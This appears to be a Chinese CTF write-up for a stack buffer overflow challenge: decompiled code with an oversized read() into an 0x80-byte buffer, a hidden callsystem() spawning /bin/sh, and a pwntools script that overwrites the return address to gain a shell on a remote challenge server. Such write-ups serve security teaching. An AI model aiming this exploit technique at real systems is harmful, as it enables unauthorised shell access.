先反编译 :

int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}

追踪一下 "vulnerable_function()" :

ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}

read()函数

原型:ssize_t read(int fd,void*buf,size_t count)
参数说明:
fd:      是文件描述符,对应0
buf:     为读出数据的缓冲区;
count:   为每次读取的字节数(是请求读取的字节数,读上来的数据保
         存在缓冲区buf中,同时文件的当前读写位置向后移)

查找字符串发现了shell,找到函数:

int callsystem()
{
return system("/bin/sh");
}

找到入口地址:

找到payload长度:

paylaod:

from pwn import *
r = remote("111.198.29.45",43164)
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
r.sendline(payload)
r.interactive()

最新文章

  1. swfit-学习笔记(数组的使用)
  2. 基于Laravel+Swoole开发智能家居后端
  3. CSS3的transition动画功能
  4. SQL Server 流程控制
  5. WPF快速精通版
  6. C#索引器的作用及使用
  7. 算法导论(第三版)Problems2(归并插入排序、数列逆序计算)
  8. hdu4126Genghis Khan the ConquerorGenghis Khan the Conqueror(MST+树形DP)
  9. oracle忘记密码,修改密码,解锁
  10. 我使用的Bash脚本模板
  11. .NET Framework 4.7 安装
  12. 优化算法:AdaGrad | RMSProp | AdaDelta | Adam
  13. redis主从同步配置
  14. book118免费下载文档方法【转】
  15. 设计模式 -创建型模式 ,python工厂模式 抽象工厂模式(1)
  16. 您真的会修改Active Directory域控制器计算机名称吗
  17. idea git 把本地项目上传到github上
  18. 网络编程协议(TCP和UDP协议,黏包问题)以及socketserver模块
  19. .NET 开发套装
  20. Http网络协议

热门文章

  1. 2 Hadoop集群安装部署准备
  2. Android安全测试(三)应用完整性检验检测
  3. dvorak键盘布局调整
  4. 腾讯视频的手机端的地址和PC端的地址是不一样的
  5. Smashing Nodejs 读书笔记(一)
  6. LeetCode 算法 Part 1
  7. oracle--表分区、分区索引
  8. PHP foreach &$ 引发的bug
  9. JAVA总结--java基本语法
  10. Kubeadm安装Kubernetes 1.15.1